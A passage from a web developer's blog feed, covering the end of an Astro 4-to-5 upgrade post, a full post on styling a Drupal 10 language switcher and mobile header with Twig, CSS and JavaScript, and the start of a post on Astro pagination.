&lt;p&gt;Move (and rename) the content config file (&lt;em&gt;content.config.ts&lt;/em&gt;). This file (&lt;em&gt;config.ts&lt;/em&gt;) no longer lives within the src/content/ folder. This file should now exist at src/content.config.ts.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Edit the collection definition within the content config file. For me, it went from:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { z, defineCollection } from &amp;quot;astro:content&amp;quot;;
import { docsSchema, i18nSchema } from &amp;quot;@astrojs/starlight/schema&amp;quot;;

const blogCollection = defineCollection({
  type: &amp;quot;content&amp;quot;,
  schema: z.object({
    title: z.string(),
    description: z.string(),
    date: z.date(),
    image: z.string().optional(),
    tags: z.array(z.string()),
  }),
});

export const collections = {
  docs: defineCollection({ schema: docsSchema() }),
  i18n: defineCollection({ type: &amp;quot;data&amp;quot;, schema: i18nSchema() }),
  blog: blogCollection,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { z, defineCollection } from &amp;quot;astro:content&amp;quot;;
import { glob } from &amp;quot;astro/loaders&amp;quot;;
import { docsLoader, i18nLoader } from &amp;quot;@astrojs/starlight/loaders&amp;quot;;
import { docsSchema, i18nSchema } from &amp;quot;@astrojs/starlight/schema&amp;quot;;

const blogCollection = defineCollection({
  loader: glob({ pattern: &amp;quot;**/[^_]*.{md,mdx}&amp;quot;, base: &amp;quot;./src/content/blog&amp;quot; }),
  schema: z.object({
    title: z.string(),
    description: z.string(),
    slug: z.string(),
    date: z.date(),
    image: z.string().optional(),
    tags: z.array(z.string()),
    authors: z.array(z.string()),
    author_urls: z.array(z.string()),
  }),
});

export const collections = {
  docs: defineCollection({ loader: docsLoader(), schema: docsSchema() }),
  i18n: defineCollection({ loader: i18nLoader(), schema: i18nSchema() }),
  blog: blogCollection,
};
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Change references from &lt;code&gt;slug&lt;/code&gt; to &lt;code&gt;id&lt;/code&gt; and switch to the new &lt;code&gt;render()&lt;/code&gt; function (this combines step 3 and 4 from the documentation). This one I had some trouble with. Not instructions per se. That was relatively straightforward. The file went from:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;---
import { getCollection } from &apos;astro:content&apos;;

export async function getStaticPaths() {
  const blogEntries = await getCollection(&apos;blog&apos;);
  return blogEntries.map(entry =&amp;gt; ({
    params: { slug: entry.slug },
    props: { entry },
  }));
}
const { entry } = Astro.props;
const { Content } = await entry.render();
---
&amp;lt;Content /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;to:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;---
import { getCollection, render } from &apos;astro:content&apos;;
import BlogLayout from &apos;../../layouts/BlogLayout.astro&apos;;

export async function getStaticPaths() {
  const blogEntries = await getCollection(&apos;blog&apos;);
  return blogEntries.map(entry =&amp;gt; ({
    params: { id: entry.id },
    props: { entry },
  }));
}

const { entry } = Astro.props;
const { Content } = await render(entry);
---
&amp;lt;BlogLayout frontmatter={entry.data}&amp;gt;
  &amp;lt;Content /&amp;gt;
&amp;lt;/BlogLayout&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The total amount of changes seem trivial when I write it down like that but it took me forever to figure out why the routes for the individual blog posts just refused to render and kept 404-ing.&lt;/p&gt;
&lt;p&gt;Things finally started to work when I changed the file name from &lt;em&gt;[...slug].astro&lt;/em&gt; to &lt;em&gt;[...id].astro&lt;/em&gt;. Do I know why that works? Not really, except that it matches the API change from &lt;code&gt;slug&lt;/code&gt; to &lt;code&gt;id&lt;/code&gt;. Someone smarter than me and more experienced in Astro please tell me why this fixes the problem.&lt;/p&gt;
&lt;p&gt;In addition, one of the &lt;a href=&quot;https://docs.astro.build/en/guides/upgrade-to/v5/#breaking-changes-to-legacy-content-and-data-collections&quot;&gt;breaking changes&lt;/a&gt; outlined in the upgrade docs was the bit about the &lt;code&gt;layout&lt;/code&gt; field no longer being supported in Markdown collection entries.&lt;/p&gt;
&lt;p&gt;This one was mildly annoying to fix, but it was merely a matter of importing the layout file at the dynamic route page template instead of the individual blog post. The &lt;code&gt;BlogLayout&lt;/code&gt; had relied on the frontmatter directly from the markdown or MDX post, which now had to be passed in via &lt;code&gt;frontmatter={entry.data}&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;I also had issues rendering blog posts that were written in MDX instead of markdown. The solution for me was to install the latest &lt;code&gt;@astrojs/mdx&lt;/code&gt; and import it in my &lt;em&gt;astro.config.js&lt;/em&gt; file. This is possibly related to &lt;a href=&quot;https://docs.astro.build/en/guides/upgrade-to/v5/#astrojsmdx&quot;&gt;how Astro 5 handles JSX and MDX rendering&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;Again, I&apos;m just trying to document gotchas that I&apos;m most likely going to forget otherwise and then get that annoying feeling of deja vu that I fixed it before. But then again, Astro moves so fast that the API might change again the next time I have to do this. Oh well, just the price of progress, I suppose. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;person shrugging&quot;&gt;🤷&lt;/span&gt;&lt;/p&gt;
</content:encoded></item><item><title>The case for “old school” CSS</title><link>https://chenhuijing.com/blog/the-case-for-old-school-css/</link><guid isPermaLink="true">https://chenhuijing.com/blog/the-case-for-old-school-css/</guid><description>Do people still write CSS in CSS files any more? I honestly don&apos;t keep up with the trends as much as I did back when I started by career. Partly because I&apos;ve…</description><pubDate>Tue, 25 Mar 2025 01:14:50 GMT</pubDate><content:encoded>&lt;p&gt;Do people still write CSS in CSS files any more? I honestly don&apos;t keep up with the trends as much as I did back when I started by career. Partly because I&apos;ve started to feel that the web development community online has become a lot more “this(my) way is the best way” than when I started out at the tail-end of the HTML tables era and the start of the floats era.&lt;/p&gt;
&lt;figure&gt;
    &lt;figcaption&gt;Love this slide from my &lt;a href=&quot;&quot;&gt;The State of CSS&lt;/a&gt; talk at &lt;a href=&quot;https://webdirections.org/code/&quot;&gt;Web Directions Code&lt;/a&gt; back in 2024&lt;/figcaption&gt;
    &lt;img srcset=&quot;/images/posts/old-school-css/eras-480.jpg 480w, /images/posts/old-school-css/eras-640.jpg 640w, /images/posts/old-school-css/eras-960.jpg 960w, /images/posts/old-school-css/eras-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/old-school-css/eras-640.jpg&quot; alt=&quot;The CSS Eras&quot;&gt;
&lt;/figure&gt;
&lt;p&gt;Regardless, personal opinions aside, I do have projects that involve CSS in CSS files. It&apos;s a Drupal 10 site, so the custom theme uses CSS. Who still uses Drupal in 2025, you might ask? Apparently, &lt;a href=&quot;https://w3techs.com/technologies/details/cm-drupal&quot;&gt;Drupal is used by 1.2% of all the websites whose content management system we know. This is 0.9% of all websites.&lt;/a&gt;. As of time of writing, there are estimated to be 192 million actively maintained websites, so it&apos;s still a good number.&lt;/p&gt;
&lt;h2&gt;So what&apos;s the use case?&lt;/h2&gt;
&lt;p&gt;The use case is i18n. If you&apos;re new to Drupal, or someone like me who returned from a long hiatus since Drupal 7, the Drupal documentation SEO is a little messed up if you just Google directly. Largely because Drupal 7 had such a long, long shelf life.&lt;/p&gt;
&lt;p&gt;Anyway, the up-to-date Drupal i18n documentation is at &lt;a href=&quot;https://www.drupal.org/docs/user_guide/en/multilingual-chapter.html&quot;&gt;Chapter 10. Making Your Site Multilingual&lt;/a&gt; and &lt;a href=&quot;https://www.drupal.org/docs/administering-a-drupal-site/multilingual-guide&quot;&gt;Multilingual guide&lt;/a&gt;. Go there if you&apos;re trying implement i18n on your own Drupal 10 site.&lt;/p&gt;
&lt;p&gt;The specific problem I was trying to solve was related to the language switcher. Once you turn on multilingual capabilities on your Drupal site, there is a language switcher block that you can place where you deem fit.&lt;/p&gt;
&lt;img srcset=&quot;/images/posts/old-school-css/ls-block-480.jpg 480w, /images/posts/old-school-css/ls-block-640.jpg 640w, /images/posts/old-school-css/ls-block-960.jpg 960w, /images/posts/old-school-css/ls-block-1280.jpg 1280w&quot; sizes=&quot;(max-width: 400px) 100vw, (max-width: 960px) 75vw, 640px&quot; src=&quot;/images/posts/old-school-css/ls-block-640.jpg&quot; alt=&quot;Language Switcher block in Drupal block configuration&quot;&gt;
&lt;p&gt;I suppose, depending on the Drupal theme you are using, there may or may not be some styling associated with the block. But as my site was a fully custom implementation, my theme was built off &lt;a href=&quot;https://www.drupal.org/docs/core-modules-and-themes/core-themes/starterkit-theme&quot;&gt;Starterkit theme&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Without doing anything to the default implementation, once you turn on the Language Switcher block in your Header region on a vanilla theme, you will get an unordered list of all the languages supported by your site.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/old-school-css/unstyled.png&quot; alt=&quot;Completely unstyled language switcher&quot;&gt;&lt;/p&gt;
&lt;p&gt;Those language labels can be edited via the admin interface. You have to go to &lt;em&gt;admin/config/regional/language&lt;/em&gt; and edit each of the languages listed there. My use case only involved 2 languages, so I decided to design the language switcher to appear like additional link options on the header, with the labels being the 2-letter language code.&lt;/p&gt;
&lt;h3&gt;Templating with Twig&lt;/h3&gt;
&lt;p&gt;You can&apos;t old-school CSS without CSS classes. And in the land of Drupal theming, that menas it&apos;s &lt;a href=&quot;https://www.drupal.org/docs/develop/theming-drupal/twig-in-drupal&quot;&gt;Twig&lt;/a&gt; templating time. Templates in Drupal make use of &lt;a href=&quot;https://www.drupal.org/node/2186401&quot;&gt;naming conventions&lt;/a&gt; to let you override them.&lt;/p&gt;
&lt;p&gt;So if you are starting from scratch with a starterkit base theme, your out-of-the-box markup is going to be wrapped in layers of &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt;s, which I personally do not like. My first thing is to override the &lt;em&gt;page.html.twig&lt;/em&gt; and &lt;em&gt;region.html.twig&lt;/em&gt; templates with ones that provide some useful CSS class names.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;# page.html.twig
{% if logged_in %}
  {{ page.admin }}
  {% endif %}

&amp;lt;header class=&amp;quot;site-header&amp;quot; role=&amp;quot;banner&amp;quot;&amp;gt;
  {{ page.header }}
&amp;lt;/header&amp;gt;

&amp;lt;main role=&amp;quot;main&amp;quot;&amp;gt;
  &amp;lt;a id=&amp;quot;main-content&amp;quot; tabindex=&amp;quot;-1&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;
  &amp;lt;h1 class=&amp;quot;visually-hidden&amp;quot;&amp;gt;{{ current_page_title }}&amp;lt;/h1&amp;gt;
  {{ page.content }}
&amp;lt;/main&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;# region.html.twig
{%
  set classes = [
    &apos;region&apos;,
    &apos;region-&apos; ~ region|clean_class,
  ]
%}
{% if content %}
  &amp;lt;div{{ attributes.addClass(classes) }}&amp;gt;
    {{ content }}
  &amp;lt;/div&amp;gt;
{% endif %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The out-of-the-box menu list also has zero CSS classes. Nah, gotta add some in there for the menu as well.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;# menu--main.html.twig
{% import _self as menus %}

{{ menus.menu_links(items, attributes, 0) }}

{% macro menu_links(items, attributes, menu_level) %}
  {% import _self as menus %}
  {% if items %}
    {% if menu_level == 0 %}
      &amp;lt;ul{{ attributes}} class=&amp;quot;site-nav__links menu--level-{{ menu_level + 1 }}&amp;quot; id=&amp;quot;siteNavMenu&amp;quot;&amp;gt;
    {% else %}
      &amp;lt;ul class=&amp;quot;menu--level-{{ menu_level + 1 }}&amp;quot;&amp;gt;
    {% endif %}
    {% for item in items %}
      {%
        set classes = [
          &apos;menu-item&apos;,
          item.is_expanded ? &apos;has-submenu&apos;,
          &apos;menu-item--level-&apos; ~ (menu_level + 1)
        ]
      %}
      &amp;lt;li{{ item.attributes.addClass(classes) }}&amp;gt;
        {{ link(item.title, item.url) }}
        {% if item.below %}
          {{ menus.menu_links(item.below, attributes, menu_level + 1) }}
        {% endif %}
      &amp;lt;/li&amp;gt;
    {% endfor %}
    &amp;lt;/ul&amp;gt;
  {% endif %}
{% endmacro %}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And finally, I wanted to sprinkle on some extra stuff onto the navigation block, like a site logo and mobile menu icon so that meant overriding the main menu block.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-php&quot;&gt;# block--blank-main-menu.html.twig
{% set heading_id = attributes.id ~ &apos;-menu&apos;|clean_id %}

&amp;lt;nav class=&amp;quot;site-nav&amp;quot; role=&amp;quot;navigation&amp;quot; aria-labelledby=&amp;quot;{{ heading_id }}&amp;quot;{{ attributes|without(&apos;role&apos;, &apos;aria-labelledby&apos;) }}&amp;gt;
  {% if not configuration.label_display %}
    {% set title_attributes = title_attributes.addClass(&apos;visually-hidden&apos;) %}
  {% endif %}
  {{ title_prefix }}
  &amp;lt;h2{{ title_attributes.setAttribute(&apos;id&apos;, heading_id) }}&amp;gt;{{ configuration.label }}&amp;lt;/h2&amp;gt;
  {{ title_suffix }}

  &amp;lt;a href=&amp;quot;{{ path(&apos;&amp;lt;front&amp;gt;&apos;) }}&amp;quot; rel=&amp;quot;home&amp;quot; class=&amp;quot;site-logo&amp;quot;&amp;gt;
    &amp;lt;img src=&amp;quot;{{ site_logo }}&amp;quot; alt=&amp;quot;{{ &apos;Home&apos;|t }}&amp;quot; fetchpriority=&amp;quot;high&amp;quot; /&amp;gt;
  &amp;lt;/a&amp;gt;

  &amp;lt;div class=&amp;quot;site-links-wrapper&amp;quot; data-nav-wrapper id=&amp;quot;siteNavLinks&amp;quot;&amp;gt;
    {{ content }}
  &amp;lt;/div&amp;gt;

  &amp;lt;button
    type=&amp;quot;button&amp;quot;
    class=&amp;quot;site-nav__toggle&amp;quot;
    aria-controls=&amp;quot;siteNavMenu&amp;quot;
    aria-label=&amp;quot;Toggle Menu&amp;quot;
    title=&amp;quot;Toggle Menu&amp;quot;
    id=&amp;quot;siteNavToggle&amp;quot;
  &amp;gt;
    &amp;lt;div id=&amp;quot;menuIcon&amp;quot; class=&amp;quot;menu-icon&amp;quot;&amp;gt;
      &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;
      &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;
      &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;
      &amp;lt;span&amp;gt;&amp;lt;/span&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/button&amp;gt;
&amp;lt;/nav&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Always remember to &lt;code&gt;drush cr&lt;/code&gt; after messing around with templates.&lt;/p&gt;
&lt;h3&gt;CSS time&lt;/h3&gt;
&lt;p&gt;After that it&apos;s really all CSS. Mostly around using flexbox. But let&apos;s see if going through it (almost) line by line makes sense to people who no longer write “traditional” CSS, whatever that means.&lt;/p&gt;
&lt;p&gt;I&apos;d like my header to remain sticky at the top of the page even as people scroll down. The trick here is to remember to set the &lt;code&gt;top&lt;/code&gt; value, otherwise it&apos;s not going to stick.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.site-header {
  padding: 0 var(--space-m);
  position: sticky;
  top: 0;
  z-index: 2;
  box-shadow: var(--box-shadow);
  background-color: white;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I have a &lt;code&gt;&amp;lt;nav&amp;gt;&lt;/code&gt; element with the CSS class &lt;code&gt;.site-nav&lt;/code&gt; which wraps around the site logo, list of navigation links and mobile menu toggle button. Let&apos;s make it a flexbox and make everything inside align center, plus some basic hover styles.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.site-nav {
  display: flex;
  align-items: center;
}

.site-logo {
  flex: none;
}

.site-nav__links {
  list-style: none;
  padding-inline-start: 0;
}

.site-nav__links a {
  display: block;
  color: currentColor;
  transition: text-decoration 200ms ease-in-out;
  white-space: nowrap;
  text-underline-offset: 8px;
  text-decoration: underline 1.5px transparent;
  padding: var(--space-s) var(--space-2xs);
}

.site-nav__links a:hover {
  background-color: ghostwhite;
}

.site-nav__links .is-active {
  text-decoration-color: currentColor;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As for the language switcher, it&apos;s an unordered list by default, but we can and should spruce it up a little bit.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.language-switcher-language-url {
  flex: none;
}

.language-switcher-language-url .links {
  display: flex;
  list-style: none;
  padding: 0;
  margin-inline-start: var(--space-2xs);
}

.language-switcher-language-url .links li:first-child::after {
  display: inline-flex;
  content: &amp;quot;|&amp;quot;;
}

.language-switcher-language-url .links a {
  padding: var(--space-s) var(--space-2xs);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;At this point, your header still looks very wonky. Don&apos;t worry, it&apos;s all part of the process.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/old-school-css/half-styled.png&quot; alt=&quot;Styling in progress for the site header&quot;&gt;&lt;/p&gt;
&lt;p&gt;When there is enough space in the viewport, for this example, when there&apos;s at least 700px worth of space, everyone can all hang out on the same line.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media screen and (min-width: 700px) {
  .region-header {
    display: flex;
    align-items: center;
  }

  .site-links-wrapper {
    flex: 1;
  }

  .site-nav {
    flex: 1;
  }

  .site-nav__links {
    display: flex;
    justify-content: center;
  }

  .site-nav__toggle {
    display: none;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;These layout styles essentially make sure the list of links take up the all the space left over after the site logo and the language switcher are accounted&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/old-school-css/wide-style.png&quot; alt=&quot;Wide viewport header&quot;&gt;&lt;/p&gt;
&lt;p&gt;Without modifying the markup further, we can sprinkle on some JavaScript to help create a mobile menu. But first, the styling.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;@media screen and (max-width: 699px) {
  .site-links-wrapper {
    position: absolute;
    background-color: white;
    top: var(--site-header-height);
    right: 0;
    transition: transform 300ms ease-in-out;
    border-block-start: 1px solid lightgrey;
  }

  .site-links-wrapper.offscreen {
    transform: translateX(100%);
  }

  .site-links-wrapper a {
    padding-inline: var(--space-s);
  }

  .language-switcher-language-url {
    position: absolute;
    top: 25px;
    right: calc(var(--space-m) + var(--space-xs) + 24px);
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This absolutely positions the list of links to just under the site header and stuck to the right of the viewport. And if you are wondering why the language switcher is also absolutely positioned, this is because of the way the markup is structured.&lt;/p&gt;
&lt;p&gt;The language switcher, as explained above, is a Drupal system block. Could we rewrite the main menu template to incorporate the language switcher? Probably, but between doing that and using CSS, I chose the CSS route.&lt;/p&gt;
&lt;p&gt;So the approach was to position the language switcher next to the mobile menu toggle. A lesser of two evils approach methinks.&lt;/p&gt;
&lt;p&gt;The styling for the mobile menu toggle goes something like this, which is essentially just 3 black lines, which are supposed to transform into a cross when the &lt;code&gt;open&lt;/code&gt; class is added to the icon.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;.site-nav__toggle {
  border: 0;
  background: initial;
  padding: var(--space-xs) 0;
  color: currentColor;
  margin-inline-start: auto;
}

.menu-icon {
  position: relative;
  transform: rotate(0deg);
  transition: 0.5s ease-in-out;
  cursor: pointer;
  height: 1em;
  width: 1.5em;
}

.menu-icon span {
  display: block;
  position: absolute;
  height: 4px;
  width: 100%;
  background: currentColor;
  border-radius: 4px;
  opacity: 1;
  left: 0;
  transform: rotate(0deg);
  transition: 0.25s ease-in-out;
}

.menu-icon span:nth-child(1) {
  top: 0;
}

.menu-icon span:nth-child(2),
.menu-icon span:nth-child(3) {
  top: 50%;
}

.menu-icon span:nth-child(4) {
  top: 100%;
}

.menu-icon.open span:nth-child(1),
.menu-icon.open span:nth-child(4) {
  top: 50%;
  width: 0%;
  left: 50%;
}

.menu-icon.open span:nth-child(2) {
  transform: rotate(45deg);
}

.menu-icon.open span:nth-child(3) {
  transform: rotate(-45deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;A sprinkling of JavaScript&lt;/h3&gt;
&lt;p&gt;The actual opening and closing of the mobile menu needs the help of some JavaScript.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;// Site navigation CSS classes
const siteLinksWrapper = document.querySelector(&amp;quot;[data-nav-wrapper]&amp;quot;);
const wideNavMinWidth = window.matchMedia(&amp;quot;(min-width: 700px)&amp;quot;);
handleNavDisplayStyles(wideNavMinWidth);
wideNavMinWidth.addEventListener(&amp;quot;change&amp;quot;, handleNavDisplayStyles);

const siteNavToggle = document.getElementById(&amp;quot;siteNavToggle&amp;quot;);
const siteNavLinks = document.getElementById(&amp;quot;siteNavLinks&amp;quot;);
const menuIcon = document.getElementById(&amp;quot;menuIcon&amp;quot;);

if (document.contains(siteNavToggle)) {
  siteNavToggle.addEventListener(&amp;quot;click&amp;quot;, handleMobileNavToggle, false);
}

function handleMobileNavToggle(event) {
  siteLinksWrapper.classList.toggle(&amp;quot;offscreen&amp;quot;);
  if (siteLinksWrapper.getAttribute(&amp;quot;class&amp;quot;).includes(&amp;quot;offscreen&amp;quot;)) {
    menuIcon.classList.remove(&amp;quot;open&amp;quot;);
  } else {
    menuIcon.classList.add(&amp;quot;open&amp;quot;);
  }
}

function handleNavDisplayStyles(event) {
  if (event.matches) {
    siteLinksWrapper.classList.remove(&amp;quot;offscreen&amp;quot;);
  } else {
    if (siteLinksWrapper) {
      flashPrevention(siteLinksWrapper);
    }
    siteLinksWrapper.classList.add(&amp;quot;offscreen&amp;quot;);
  }
}

function flashPrevention(element) {
  element.setAttribute(&amp;quot;style&amp;quot;, &amp;quot;display:none&amp;quot;);
  setTimeout(() =&amp;gt; {
    element.removeAttribute(&amp;quot;style&amp;quot;);
  }, 10);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;After all that, you end up with something like this:&lt;/p&gt;
&lt;figure&gt;
  &lt;figcaption&gt;Simple responsive site navigation&lt;/figcaption&gt;
  &lt;video controls autoplay muted loop&gt;
    &lt;source src=&quot;/videos/d11-header.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos. Sorry, your browser doesn&apos;t support embedded videos,
    but don&apos;t worry, you can &lt;a href=&quot;/videos/d11-header.mp4&quot;&gt;download it&lt;/a&gt;and watch it with your
    favourite video player!
  &lt;/video&gt;
&lt;/figure&gt;
&lt;h2&gt;Wrapping up&lt;/h2&gt;
&lt;p&gt;This was honestly really fun to write up, especially the part where I built out a fresh Drupal install to make sure all the theming code is not polluted with other components on my production website. If anyone still does Drupal, or still writes “old-school” CSS, let me know. I feel a sense of remote kinship with all of you. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;square grin&quot;&gt;😬&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;small&gt;Credits: OG:image from &lt;a href=&quot;https://opengameart.org/content/simple-natural-landscape-pixel-art-background&quot;&gt;CraftPix.net 2D Game Assets&lt;/a&gt;&lt;/small&gt;&lt;/em&gt;&lt;/p&gt;
</content:encoded></item><item><title>Implementing pagination on an Astro blog</title><link>https://chenhuijing.com/blog/implementing-pagination-on-an-astro-blog/</link><guid isPermaLink="true">https://chenhuijing.com/blog/implementing-pagination-on-an-astro-blog/</guid><description>Even though I built the blog for our tech team to share their insights and knowledge with the rest of the interwebs, I wasn&apos;t necessarily the one writing the…</description><pubDate>Sun, 23 Mar 2025 21:14:50 GMT</pubDate><content:encoded>&lt;p&gt;Even though I built the blog for our tech team to share their insights and knowledge with the rest of the interwebs, I wasn&apos;t necessarily the one writing the actual blogs. Now that I think about it, I do not think I&apos;ve published a single article on the blog. Haha.&lt;/p&gt;
&lt;p&gt;Realistically, it was pretty much a build it and move on with life situation, where there were not many feature requests, it was mainly dependency updates and very minor CSS tweaks. So it did take me a while to realise that, I hadn&apos;t actually built the pagination for the blog.&lt;/p&gt;
&lt;p&gt;Back when I built the whole thing in March 2024, the only blog posts we had were 3 that were ported over from a Medium account we&apos;d lost access to. Anyway, with 3 blog posts, and no commitment from anybody on the team that we would publish blog posts regularly, I figured we would get to pagination later, much later.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/astro-pagination/future-proof.png&quot; alt=&quot;I did not add the pagination component after 12 articles&quot;&gt;&lt;/p&gt;
&lt;p&gt;Well, by the time we had to upgrade Astro from 4 to 5 (there will be a blog post on this), I saw that we had 13 blog posts and yikes, the first blog post was gone from the listing. Yikes indeed.&lt;/p&gt;
&lt;h2&gt;See how other people do stuff&lt;/h2&gt;
&lt;p&gt;In my feeble attempt to be future-proof, I did consult the Googles on how other people did it, and I&apos;m pretty sure &lt;a href=&quot;https://rimdev.io/creating-a-pagination-component-with-astro&quot;&gt;Creating A Pagination Component With Astro&lt;/a&gt; by &lt;a href=&quot;https://github.com/tedk13&quot;&gt;Ted Krueger&lt;/a&gt; was the article I had referred to.&lt;/p&gt;
&lt;p&gt;Most other results were for pagination components other people had built and packaged into something you could just import. I&apos;m not against importing and using components in general, but come on, it&apos;s a pagination. I&apos;d rather use my self-imposed import quota on something grander, if you know what I mean.&lt;/p&gt;
&lt;p&gt;So the implementation I ended up with had the dynamic &lt;code&gt;[...page].astro&lt;/code&gt; component for when you paginate the entire listing and end up with multiple blog listing pages but no actual pagination component.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;---
import type { Page } from &amp;quot;astro&amp;quot;;
import BaseLayout from &apos;../../layouts/BaseLayout.astro&apos;;
import { getCollection } from &apos;astro:content&apos;;

type Props = {
  page: Page&amp;lt;any&amp;gt;;
};

export async function getStaticPaths({ paginate }: any) {
  const blogEntries = (await getCollection(&amp;quot;blog&amp;quot;)).sort((a, b) =&amp;gt; b.data.date.getTime() - a.data.date.getTime());
  return paginate(blogEntries, { pageSize: 12 });
}

const { page } = Astro.props;
---
&amp;lt;BaseLayout title=&amp;quot;Engineering blog&amp;quot;&amp;gt;
  &amp;lt;main&amp;gt;
    &amp;lt;div class=&amp;quot;content-wrapper&amp;quot;&amp;gt;
      &amp;lt;ol class=&amp;quot;breadcrumbs&amp;quot; itemscope itemtype=&amp;quot;https://schema.org/BreadcrumbList&amp;quot;&amp;gt;
        &amp;lt;li itemprop=&amp;quot;itemListElement&amp;quot; itemscope
            itemtype=&amp;quot;https://schema.org/ListItem&amp;quot;&amp;gt;
          &amp;lt;a itemprop=&amp;quot;item&amp;quot; href=&amp;quot;/developers&amp;quot;&amp;gt;
          &amp;lt;span itemprop=&amp;quot;name&amp;quot;&amp;gt;Developers Portal&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;
          &amp;lt;meta itemprop=&amp;quot;position&amp;quot; content=&amp;quot;1&amp;quot; /&amp;gt;
        &amp;lt;/li&amp;gt;
      &amp;lt;/ol&amp;gt;
      &amp;lt;h1&amp;gt;Engineering Blog&amp;lt;/h1&amp;gt;
      &amp;lt;ol class=&amp;quot;postlist&amp;quot;&amp;gt;
        {((page as any).data || []).map((blogPostEntry: any) =&amp;gt; (
          &amp;lt;li class=&amp;quot;postlist-item&amp;quot;&amp;gt;
            &amp;lt;a href={`/developers/blog/${blogPostEntry.slug}`} class=&amp;quot;postlist-link heading--6&amp;quot;&amp;gt;{blogPostEntry.data.title}&amp;lt;/a&amp;gt;
            &amp;lt;time class=&amp;quot;postlist-date&amp;quot; datetime={blogPostEntry.data.date.toISOString()}&amp;gt;
              {blogPostEntry.data.date.toDateString()}
            &amp;lt;/time&amp;gt;
          &amp;lt;/li&amp;gt;
        ))}
      &amp;lt;/ol&amp;gt;
    &amp;lt;/div&amp;gt;
  &amp;lt;/main&amp;gt;
&amp;lt;/PageLayout&amp;gt;

&amp;lt;style&amp;gt;
/* all my blog listing styling */
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And for the individual blog posts, the dynamic page for those was &lt;code&gt;[...slug].astro&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;---
import { getCollection } from &apos;astro:content&apos;;

export async function getStaticPaths() {
  const blogEntries = await getCollection(&apos;blog&apos;);
  return blogEntries.map(entry =&amp;gt; ({
    params: { slug: entry.slug }, props: { entry },
  }));
}

const { entry } = Astro.props;
const { Content } = await entry.render();
---
&amp;lt;Content /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I&apos;m just missing the Pagination component that Ted built out in his article. What&apos;s the reason for this blog post if the implementation simply follows what Ted has already explained in his article?&lt;/p&gt;
&lt;p&gt;Well, my project&apos;s implementation has a URL suffix problem, i.e. the entire Astro site is not served on the root domain, but instead on &lt;code&gt;&amp;lt;ROOT_DOMAIN&amp;gt;/developers&lt;/code&gt;. Oh, that &lt;code&gt;/developers&lt;/code&gt; suffix. &lt;span class=&quot;emoji&quot; role=&quot;img&quot; tabindex=&quot;0&quot; aria-label=&quot;exhaling face&quot;&gt;😮‍💨&lt;/span&gt;&lt;/p&gt;
